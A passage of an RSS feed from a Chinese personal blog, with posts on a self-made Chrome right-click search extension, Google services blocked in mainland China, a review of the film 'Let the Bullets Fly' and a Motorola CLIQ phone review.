<p>有了Android手机，不弄张WCDMA卡还真不行，以前绰绰有余的80M流量几天都给消耗光了，在淘宝上一折腾，就弄了这张1G流量200分钟通话66元月租26元/月返还的变态卡。自己是舒坦了，不过电话我的同志们，不知不觉又多交了些长途费。</p>
<ul>
<li><strong>Nexus One	 ￥2600</strong></li>
</ul>
<p>CLIQ转手后，大换血的买下了N1，腐败啊腐败。真是“由俭入奢易，由奢入俭难”啊！</p>
<p>本来想把VPS也写进来，但想想还是年后来了再专门写篇文章吧。</p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2011-01/2010-my-e-pet-list.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>天朝专用Chrome插件：在右键中添加第二个搜索引擎</title>
		<link>http://chensd.com/2011-01/chrome-plugins-china-search-engine.html</link>
		<comments>http://chensd.com/2011-01/chrome-plugins-china-search-engine.html#comments</comments>
		<pubDate>Sat, 08 Jan 2011 08:45:49 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[下载]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[特色]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1218</guid>
		<description><![CDATA[在Chrome里，选中文本后右键菜单会直接增加一条菜单“使用Google搜索”，这个功能的确很方便，可是身在天朝就不一定了，有时候，为了搜索“温度计胡萝卜”而不被重置连接，就不得不先复制内容，打开新标签页，输入网址打开某搜索引擎，粘贴文字，再点“搜索”…… Chrome虽然允许修改默认搜索引擎，但我想使用Chrome的人，很多都还是对Google搜索有一定好感的，仅仅为了某些搜索而改变默认搜索引擎，的确有些不值得。不过Chrome却并不支持在环境菜单中增加多个搜索引擎，于是，这个插件例诞生了。 这个插件的作用是： 1、在不改变默认搜索引擎的情况下，在右键中增加一个搜索引擎选项； 2、只有在选中文字的情况下才增加这个选项； 另外，使用的是有道搜索，X度还是留给别人吧。 Chrome插件库需要交$5的注册费，所以先只好就放在这个博客上了。 在右键菜单增加第二搜索引擎的Chrome插件下载：下载 更新：插件使用了有道搜索，如果你想换成其它你喜欢的搜索引擎，可以参照这个指南。]]></description>
			<content:encoded><![CDATA[<p>在Chrome里，选中文本后右键菜单会直接增加一条菜单“使用Google搜索”，这个功能的确很方便，可是身在天朝就不一定了，有时候，为了搜索“温度计胡萝卜”而不被重置连接，就不得不先复制内容，打开新标签页，输入网址打开某搜索引擎，粘贴文字，再点“搜索”……</p>
<p>Chrome虽然允许修改默认搜索引擎，但我想使用Chrome的人，很多都还是对Google搜索有一定好感的，仅仅为了某些搜索而改变默认搜索引擎，的确有些不值得。不过Chrome却并不支持在环境菜单中增加多个搜索引擎，于是，这个插件例诞生了。</p>
<p>这个插件的作用是：</p>
<ul>
<li>1、在不改变默认搜索引擎的情况下，在右键中增加一个搜索引擎选项；</li>
<li>2、只有在选中文字的情况下才增加这个选项；</li>
</ul>
<p><a href="http://chensd.com/wp-content/upfile/2011/01/chrome_plugins_youdao_search.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1220" title="Chrome搜索：在右键菜单中增加“使用有道搜索”" src="http://chensd.com/wp-content/upfile/2011/01/chrome_plugins_youdao_search.png" alt="" width="172" height="150" /></a></p>
<p>另外，使用的是有道搜索，X度还是留给别人吧。</p>
<p>Chrome插件库需要交$5的注册费，所以先只好就放在这个博客上了。</p>
<p>在右键菜单增加第二搜索引擎的Chrome插件下载：<a href="http://chensd.com/wp-content/upfile/2011/01/chrome_plugins_add_SE_yodao.crx">下载</a></p>
<blockquote><p><strong>更新</strong>：插件使用了有道搜索，如果你想换成其它你喜欢的搜索引擎，可以<a title="自己动手：修改crx文件制作自己的Chrome Apps" href="http://blog.yxsy.org/make_crx_chrome_apps.html">参照这个指南</a>。</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2011-01/chrome-plugins-china-search-engine.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Google有哪些产品和服务在大陆不能正常使用？</title>
		<link>http://chensd.com/2010-12/which-google-services-block-by-gfw.html</link>
		<comments>http://chensd.com/2010-12/which-google-services-block-by-gfw.html#comments</comments>
		<pubDate>Tue, 28 Dec 2010 03:36:45 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[乱七八糟]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[和谐]]></category>
		<category><![CDATA[特色]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1202</guid>
		<description><![CDATA[Google的服务，在大陆表现为完全打不开和部分能够正常操作，另外还包括一些服务，Google限制北美地区以外的用户使用。 一、完全不能使用的 完全不能使用的服务主要是域名被直接Block，以致无法打开。这类服务有： 1、YouTube：从07年开始，YouTube就开始出现不能正常使用的情况，但躲躲闪闪，或者改改语言，也基本能够凑和，但在2009年3月的常规性清查中，YouTube终于正式完全被封； 2、PicasaWeb：大约是在09年7月左右，PicasaWeb开始正式无法使用，但仍然可以访问PicasaWeb的非英语站点，例如，Picasaweb.google.it等，但大约在今年10，这些语言的版本也开始无法访问； 3、FeedBurner：FeedBurner曾经数度被封，11月FeedBurner进行了改版，加入了很多吸引人的功能，但国内的博主和站长们，却不得不继续忍受Feedsky这种服务； 4、Google问答：谷歌在终止与天涯问答的合作后，便在香港的服务器上开始了Google问答服务，但在这个服务推出后的第二天，便被封禁，这好像是Google唯一一个针对大陆推出并被封锁的产品； 5、Google Sites：作为Google的一个老牌服务，被封已经很久了； 6、Google Groups：Groups上可以讨论、邮件、上传附件，而这些都是GFW心病之所在； 二、不能正常使用的 不能正常使用的服务，一般是由于与上述服务有一定关系，或者触发G点后才会出现不能正常使用的服务。这些服务有： 1、Google搜索：你永远都不知道搜索哪个词会触到GFW的G点，搜索功能在其它很多产品中都有用到，而几乎与之相关的产品都受到这个影响，例如Google News； 2、Gmail：Gmail与Google其它服务整合较多，如Calendar、Documents、Picasaweb、Youtube、Buzz等，这些基本都会出现这那的问题，而且，我发现在Chrome里直接打开gmail的速度，甚至不如我SSH翻墙后的速度快； 3、Chrome：Chrome的应用商店和插件库基本都无法打开，除非你的运气够好。另外同步功能也时常无法使用； 4、Android：由于与Picasaweb的同步，使得与之相关的功能也无法使用，当然，还包括YouTube； 5、Google Reader：Reader本身功能无碍，问题出在那些RSS源上，好在还可以使用https连接； 6、Docs：共享编辑和浏览成了它被封的重要原因。Google Docs服务的443端口已经完全被封，即无法使用https进行连接，部分地区还可使用http连接打开Documents，但无法打开Spreadsheets和Forms等； 7、Calendar：所有的图片都无法正常的显示，包括Logo； 8、Picasa：作为一个优秀的图片管理软件，在大陆使用基本正常，除非你把它与PicasaWeb进行同步； 9、App Engine：很多人把它作为翻墙利器，很不幸的是，前不久终于倒下了； 10、Google Latitude：在iGoogle中无法正常显示； 11、………… 这个名单很长，而且有可能越来越长，但可以肯定的是，总有一天，它会被清零！]]></description>
			<content:encoded><![CDATA[<p>Google的服务，在大陆表现为完全打不开和部分能够正常操作，另外还包括一些服务，Google限制北美地区以外的用户使用。</p>
<h2>一、完全不能使用的</h2>
<p>完全不能使用的服务主要是域名被直接Block，以致无法打开。这类服务有：</p>
<p>1、YouTube：从07年开始，YouTube就开始出现不能正常使用的情况，但躲躲闪闪，或者改改语言，也基本能够凑和，但在2009年3月的常规性清查中，YouTube终于正式完全被封；</p>
<p>2、PicasaWeb：大约是在09年7月左右，PicasaWeb开始正式无法使用，但仍然可以访问PicasaWeb的非英语站点，例如，Picasaweb.google.it等，但大约在今年10，这些语言的版本也开始无法访问；</p>
<p>3、FeedBurner：FeedBurner曾经数度被封，11月FeedBurner进行了改版，加入了很多吸引人的功能，但国内的博主和站长们，却不得不继续忍受Feedsky这种服务；</p>
<p>4、Google问答：谷歌在终止与天涯问答的合作后，便在香港的服务器上开始了Google问答服务，但在这个服务推出后的第二天，便被封禁，这好像是Google唯一一个针对大陆推出并被封锁的产品；</p>
<p><span id="more-1202"></span></p>
<p>5、Google Sites：作为Google的一个老牌服务，被封已经很久了；</p>
<p>6、Google Groups：Groups上可以讨论、邮件、上传附件，而这些都是GFW心病之所在；</p>
<h2>二、不能正常使用的</h2>
<p>不能正常使用的服务，一般是由于与上述服务有一定关系，或者触发G点后才会出现不能正常使用的服务。这些服务有：</p>
<p>1、Google搜索：你永远都不知道搜索哪个词会触到GFW的G点，搜索功能在其它很多产品中都有用到，而几乎与之相关的产品都受到这个影响，例如Google News；</p>
<p>2、Gmail：Gmail与Google其它服务整合较多，如Calendar、Documents、Picasaweb、Youtube、Buzz等，这些基本都会出现这那的问题，而且，我发现在Chrome里直接打开gmail的速度，甚至不如我SSH翻墙后的速度快；</p>
<p>3、Chrome：Chrome的应用商店和插件库基本都无法打开，除非你的运气够好。另外同步功能也时常无法使用；</p>
<p>4、Android：由于与Picasaweb的同步，使得与之相关的功能也无法使用，当然，还包括YouTube；</p>
<p>5、Google Reader：Reader本身功能无碍，问题出在那些RSS源上，好在还可以使用https连接；</p>
<p>6、Docs：共享编辑和浏览成了它被封的重要原因。Google Docs服务的443端口已经完全被封，即无法使用https进行连接，部分地区还可使用http连接打开Documents，但无法打开Spreadsheets和Forms等；</p>
<p>7、Calendar：所有的图片都无法正常的显示，包括Logo；</p>
<p>8、Picasa：作为一个优秀的图片管理软件，在大陆使用基本正常，除非你把它与PicasaWeb进行同步；</p>
<p>9、App Engine：很多人把它作为翻墙利器，很不幸的是，前不久终于倒下了；</p>
<p>10、Google Latitude：在iGoogle中无法正常显示；</p>
<p>11、…………</p>
<p><strong>这个名单很长，而且有可能越来越长，但可以肯定的是，总有一天，它会被清零！</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2010-12/which-google-services-block-by-gfw.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>子弹乱㞗飞</title>
		<link>http://chensd.com/2010-12/let-the-bullets-fly.html</link>
		<comments>http://chensd.com/2010-12/let-the-bullets-fly.html#comments</comments>
		<pubDate>Sun, 19 Dec 2010 02:45:52 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[电影与音乐]]></category>
		<category><![CDATA[电影电视]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1188</guid>
		<description><![CDATA[1、到底是“算逑”还是“算㞗”，是要分清楚的，骂人的这个“㞗”字指的是男人的两个球，而“逑”是个好字，所谓“君子好逑”、“逑好”。看这字幕临时工给请的； 2、1919年的常用货币还是不是银子我不知道，我知道的是清廷常规岁入一年才七八千万两银子，180万两算什么？拿到现在用财政收入比一比就是一千多亿了，就算给黄四爷四条大腿，怕他也挣不来。况且，那一匹马拉得动那么一大车银子么； 3、马拉火车厢冒哪门子烟鸣哪门子汽笛？ 4、啥斧子能砍动钢轨？赶明找姜导买一把； 5、可圈可点之处：民国八年做县长； 6、1919年在中国南部，盒子炮应该是稀罕玩意儿； 7、看到满地的红泥巴和最后天上飞的那只禽兽，我才想起来，这原来是姜文导演的； 8、在电影还没下影院之前，99%喊好的评论都是托，不管是哪个人说出来的。而且这类电影你已经完全不用去看了； 9、如果硬要拿这个《让子弹飞》与哪个电影比一比，我大概会选《敢死队》，看着他们吃老本，其实我也觉得怪辛苦的。见鬼的是，这两部片子我都跑电影院去看了；]]></description>
			<content:encoded><![CDATA[<p>1、到底是“算逑”还是“算㞗”，是要分清楚的，骂人的这个“㞗”字指的是男人的两个球，而“逑”是个好字，所谓“君子好逑”、“逑好”。看这字幕临时工给请的；</p>
<p>2、1919年的常用货币还是不是银子我不知道，我知道的是清廷常规岁入一年才七八千万两银子，180万两算什么？拿到现在用财政收入比一比就是一千多亿了，就算给黄四爷四条大腿，怕他也挣不来。况且，那一匹马拉得动那么一大车银子么；</p>
<p>3、马拉火车厢冒哪门子烟鸣哪门子汽笛？</p>
<p>4、啥斧子能砍动钢轨？赶明找姜导买一把；</p>
<p>5、可圈可点之处：民国八年做县长；</p>
<p>6、1919年在中国南部，盒子炮应该是稀罕玩意儿；</p>
<p>7、看到满地的红泥巴和最后天上飞的那只禽兽，我才想起来，<span id="more-1188"></span>这原来是姜文导演的；</p>
<p>8、在电影还没下影院之前，99%喊好的评论都是托，不管是哪个人说出来的。而且这类电影你已经完全不用去看了；</p>
<p>9、如果硬要拿这个《让子弹飞》与哪个电影比一比，我大概会选《敢死队》，看着他们吃老本，其实我也觉得怪辛苦的。见鬼的是，这两部片子我都跑电影院去看了；</p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2010-12/let-the-bullets-fly.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>MOTO CLIQ入手半月小记</title>
		<link>http://chensd.com/2010-12/moto-mb200-cliq-dext-my-sense.html</link>
		<comments>http://chensd.com/2010-12/moto-mb200-cliq-dext-my-sense.html#comments</comments>
		<pubDate>Fri, 10 Dec 2010 08:21:15 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[手机]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1127</guid>
		<description><![CDATA[早就想入手Android了，可手里的BlackBerry 8700老不坏。中旬的时候，一个朋友的朋友买了联通的iPhone4套餐，拿过来让我折腾折腾，帮别人折腾好了，自己给忍不住了，终于下定决心入新机，再三比较，在LG GW620、Samsung i5700和Moto MB200中选择了后者。22号在淘宝上以1200的价格拍下了装备，24号中午就收到了。顺丰的速度的确没得说，详实的物品追踪信息更大大提高了用户体验。 买手机之前当时有好多疑问，大部分也没有能够比较清楚的了解到，现在买到了，刚好一一回顾一下。 一、使用的流畅度 CLIQ绝对是Android阵营中的入门机型，配置是一般中的一般： 320 Ｘ 480，3.2寸屏幕 256M RAM、512M ROM 500万摄像头，自动对焦，无闪光 高通7201A 524MHz 开机后，剩余内存一般是70多M，在打开较多的程序，可用内存下降到40M以后，的确是比较慢，甚至在滑动解锁时都有比较明显的延迟，结束一些任务后基本能够凑和。玩游戏基本是不用考虑的，打开愤怒的小鸟都得等上近一分钟，飞车啥的下都没敢下了。 但对于普通的应用，基本上都能应付，使用起来也基本能够忍受。 二、全键盘的手感 BlackBerry用习惯了，没个全键盘还真不放心，这也成了选择CLIQ的一个重要原因，但CLIQ全键盘的手感的确是很一般——当然可能是我的评价标准太高，尤其是用它与黑莓的比。 CLIQ全键盘各按钮的布局并不合理，按钮在纵向并没有倾斜，按起来的确是有些不便，加上左侧还有几个唐突的方向键，左手按中间几个键还是比较吃力的。全键盘中数字键一字排开，这使得用键盘输入数字完成成为一种痛苦。另外，CLIQ的键盘是整个儿的一张塑料，键也比较硬。 CLIQ没有专门的挂断通话键，只能使用触摸屏或者电源开关。当然，可以通过其它方法来实现用返回键挂机。 三、摄像头 摄像头在光线比较好的情况下，效果的确让人吃惊，但室内和光线不好的情况下，那完全就会成为一个悲剧。无图无真相，下面是两个实拍，分辨率分析为2560 X 1920和1728 X 1296，除了后面这张加了红圈，其它都没有进行处理。点击图片可查看全图（可能打开会有些慢，可放大两次）。 四、MOTO Blur Blur是moto的社交网站和Android UI解决方案，用它可以绑定各种SNS和微博客账号，并实现新消息的Push，还可以以Widget的形式挂在用户屏幕中，这也成了Moto Android手机的一个招牌菜。 对于国外反动网站有特殊爱好的同学，可以刷个机锋网友制作的2.1ROM，有了它，从此以后批判Twitter、Facebook啥的，再也用不着爬梯翻墙了——这完全是MOTO机友的福利啊！MOTO对大陆用户也出了ROM，可以绑定人人网等。 不过Blur的确是个资源消耗大户，好在有很多ROM作者可以让你弃用它。 五、从BlackBerry OS转向Android的几个不适应 1、系统字体大小不可调：这是我对Android最不满意的地方，当然估计设计师也是综合权衡得到的结果。英文看起来还稍好一点，中文汉字完全没法看； 2、五笔输入法太一般：Android的五笔输入法目前好像只看到iCosta，iCosta的用户体验比Google拼音和QQ拼音都要差得多。待选字体小不说，背景色还大大干扰了选择； 3、速度：Blackberry的速度的确是不错的，加上快捷键更是如虎添翼。CLIQ一方面是硬件的影响，另一方面也是Android等触摸OS的通病，都已经丢失了键盘操作的快感； 4、电话功能越来越不靠谱：花样越来越多，功能越来越强，屏幕越来越大，电池mAh越来越高，但基本的电话功能，是越来越不“本行”。不过在如今这个时代，手机再也不是一个电话了； 5、ROM越来越重要。虽然黑莓也有刷机，但刷来刷去也就是官方出的4.X、5.X之类，不过到了Android，各大山头狼烟四起，五花八门的ROM都出来了，集成桌面管理软件，拨号软件什么的，能装的全装上了，深得蕃茄深度之遗风啊。 六、快上3G 摸了手机不到一个星期，便换上了联通的3G号，实在没办法，用Android一不留神，几十M的流量就没影了，用黑莓收收邮件看看Google Reader，觉得edge还基本靠谱，但用这劳什子的大屏一开浏览器，才发现什么gprs、edge的，全都是浮云。顺便说一下，联通的gprs完全不靠谱。上了个3G，果然是什么都通畅了，连蹲厕所都不着急了。 这篇文章从“七天小记”一直到现在的“半月小记”，果然是拖沓啊！]]></description>
			<content:encoded><![CDATA[<p>早就想入手Android了，可手里的BlackBerry 8700老不坏。中旬的时候，一个朋友的朋友买了联通的iPhone4套餐，拿过来让我折腾折腾，帮别人折腾好了，自己给忍不住了，终于下定决心入新机，再三比较，在<a href="http://detail.zol.com.cn/211/210020/param.shtml" target="_blank">LG GW620</a>、<a href="http://detail.zol.com.cn/209/208652/param.shtml" target="_blank">Samsung i5700</a>和Moto <a href="http://detail.zol.com.cn/211/210610/param.shtml" target="_blank">MB200</a>中选择了后者。22号在淘宝上以1200的价格拍下了装备，24号中午就收到了。顺丰的速度的确没得说，详实的物品追踪信息更大大提高了用户体验。</p>
<p>买手机之前当时有好多疑问，大部分也没有能够比较清楚的了解到，现在买到了，刚好一一回顾一下。<span id="more-1127"></span></p>
<h3>一、使用的流畅度</h3>
<p>CLIQ绝对是Android阵营中的入门机型，配置是一般中的一般：</p>
<ul>
<li>320 Ｘ 480，3.2寸屏幕</li>
<li>256M RAM、512M ROM</li>
<li>500万摄像头，自动对焦，无闪光</li>
<li>高通7201A 524MHz</li>
</ul>
<p>开机后，剩余内存一般是70多M，在打开较多的程序，可用内存下降到40M以后，的确是比较慢，甚至在滑动解锁时都有比较明显的延迟，结束一些任务后基本能够凑和。玩游戏基本是不用考虑的，打开愤怒的小鸟都得等上近一分钟，飞车啥的下都没敢下了。</p>
<p>但对于普通的应用，基本上都能应付，使用起来也基本能够忍受。</p>
<h3>二、全键盘的手感</h3>
<p>BlackBerry用习惯了，没个全键盘还真不放心，这也成了选择CLIQ的一个重要原因，但CLIQ全键盘的手感的确是很一般——当然可能是我的评价标准太高，尤其是用它与黑莓的比。</p>
<p>CLIQ全键盘各按钮的布局并不合理，按钮在纵向并没有倾斜，按起来的确是有些不便，加上左侧还有几个唐突的方向键，左手按中间几个键还是比较吃力的。全键盘中数字键一字排开，这使得用键盘输入数字完成成为一种痛苦。另外，CLIQ的键盘是整个儿的一张塑料，键也比较硬。</p>
<p><a href="http://chensd.com/wp-content/upfile/2010/12/QWERTY_keyboard.gif" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1133" title="Blackberry8700、里程碑2和CLIQ三者的键盘比较" src="http://chensd.com/wp-content/upfile/2010/12/QWERTY_keyboard.gif" alt="Blackberry8700、里程碑2和CLIQ三者的键盘比较" width="500" height="150" /></a></p>
<p>CLIQ没有专门的挂断通话键，只能使用触摸屏或者电源开关。当然，可以通过其它方法来实现用返回键挂机。</p>
<h3>三、摄像头</h3>
<p>摄像头在光线比较好的情况下，效果的确让人吃惊，但室内和光线不好的情况下，那完全就会成为一个悲剧。无图无真相，下面是两个实拍，分辨率分析为2560 X 1920和1728 X 1296，除了后面这张加了红圈，其它都没有进行处理。点击图片可查看全图（可能打开会有些慢，可放大两次）。</p>
<table align="center">
<tbody>
<tr>
<td><a href="http://chensd.com/wp-content/upfile/2010/12/cliq_test_image_1.jpg" class="highslide-image" onclick="return hs.expand(this);" target="_blank"><img class="aligncenter size-full wp-image-1173" title="cliq_test_image_1" src="http://chensd.com/wp-content/upfile/2010/12/cliq_test_image_1.jpg" alt="" width="240" height="180" /></a></td>
<td><a href="http://chensd.com/wp-content/upfile/2010/12/cliq_test_image_2.jpg" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1174" title="cliq_test_image_2" src="http://chensd.com/wp-content/upfile/2010/12/cliq_test_image_2.jpg" alt="Moto CLIQ / DEXT / MB200 相机试拍图" width="240" height="180" /></a></td>
</tr>
</tbody>
</table>
<h3>四、MOTO Blur</h3>
<p>Blur是moto的社交网站和Android UI解决方案，用它可以绑定各种SNS和微博客账号，并实现新消息的Push，还可以以Widget的形式挂在用户屏幕中，这也成了Moto Android手机的一个招牌菜。</p>
<p>对于国外反动网站有特殊爱好的同学，可以刷个<a href="http://bbs.gfan.com/viewthread.php?tid=311494&amp;extra=page%3D1%26amp;filter%3Dtype%26amp;typeid%3D89" target="_blank">机锋网友制作的2.1ROM</a>，有了它，从此以后批判Twitter、Facebook啥的，再也用不着爬梯翻墙了——这完全是MOTO机友的福利啊！MOTO对大陆用户也出了ROM，可以绑定人人网等。</p>
<p>不过Blur的确是个资源消耗大户，好在有很多ROM作者可以让你弃用它。</p>
<h3>五、从BlackBerry OS转向Android的几个不适应</h3>
<ul>
<li>1、系统字体大小不可调：这是我对Android最不满意的地方，当然估计设计师也是综合权衡得到的结果。英文看起来还稍好一点，中文汉字完全没法看；</li>
<li>2、五笔输入法太一般：Android的五笔输入法目前好像只看到iCosta，iCosta的用户体验比Google拼音和QQ拼音都要差得多。待选字体小不说，背景色还大大干扰了选择；</li>
</ul>
<p><a href="http://chensd.com/wp-content/upfile/2010/12/iCosta.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1134" title="iCosta输入法悲剧的待选菜单" src="http://chensd.com/wp-content/upfile/2010/12/iCosta.png" alt="iCosta输入法悲剧的待选菜单" width="350" height="69" /></a></p>
<ul>
<li>3、速度：Blackberry的速度的确是不错的，加上快捷键更是如虎添翼。CLIQ一方面是硬件的影响，另一方面也是Android等触摸OS的通病，都已经丢失了键盘操作的快感；</li>
<li>4、电话功能越来越不靠谱：花样越来越多，功能越来越强，屏幕越来越大，电池mAh越来越高，但基本的电话功能，是越来越不“本行”。不过在如今这个时代，手机再也不是一个电话了；</li>
<li>5、ROM越来越重要。虽然黑莓也有刷机，但刷来刷去也就是官方出的4.X、5.X之类，不过到了Android，各大山头狼烟四起，五花八门的ROM都出来了，集成桌面管理软件，拨号软件什么的，能装的全装上了，深得蕃茄深度之遗风啊。</li>
</ul>
<h3>六、快上3G</h3>
<p>摸了手机不到一个星期，便换上了联通的3G号，实在没办法，用Android一不留神，几十M的流量就没影了，用黑莓收收邮件看看Google Reader，觉得edge还基本靠谱，但用这劳什子的大屏一开浏览器，才发现什么gprs、edge的，全都是浮云。顺便说一下，联通的gprs完全不靠谱。上了个3G，果然是什么都通畅了，连蹲厕所都不着急了。</p>
<p>这篇文章从“七天小记”一直到现在的“半月小记”，果然是拖沓啊！</p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2010-12/moto-mb200-cliq-dext-my-sense.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

